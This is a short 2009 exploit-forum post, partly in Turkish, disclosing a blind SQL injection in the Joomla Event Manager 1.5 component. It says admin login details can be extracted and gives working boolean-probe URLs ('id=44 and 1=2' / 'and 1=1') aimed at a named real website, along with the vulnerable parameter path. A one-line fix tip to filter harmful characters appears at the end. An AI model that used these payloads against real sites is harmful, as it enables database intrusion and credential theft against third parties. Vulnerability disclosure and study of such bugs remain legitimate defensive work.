Joomla Component Event Manager ~ SQL Inj. Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Joomla Component Event Manager ~ SQL Inj. Vuln.

Madde
	Author : Bug Researchers/Fl0riX
	Date : 05.11.2009 00:01:56
	# Joomla Component Event Manager ~ SQL Inj. Vuln. [Full Screen Display]

	<------------------- header data start ------------------- > ############################################################# # author : Fl0riX ~ Bug Researchers # Script Name : Joomla Component Event Manager 1.5 # Bug Type : Blind SQL Injection # Infection : Admin login bilgileri alinabilir. # Demo Vuln. : (+) » http://joomla-india.org/eventmanager/index.php?option=com_content&view=article&id=44 and 1=2 (+) » http://joomla-india.org/eventmanager/index.php?option=com_content&view=article&id=44 and 1=1 # Bug Fix Advice : Zararli karakterler filtrelenmelidir. ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > path/index.php?option=com_content&view=article&id=[Blind] < -- bug code end of -- >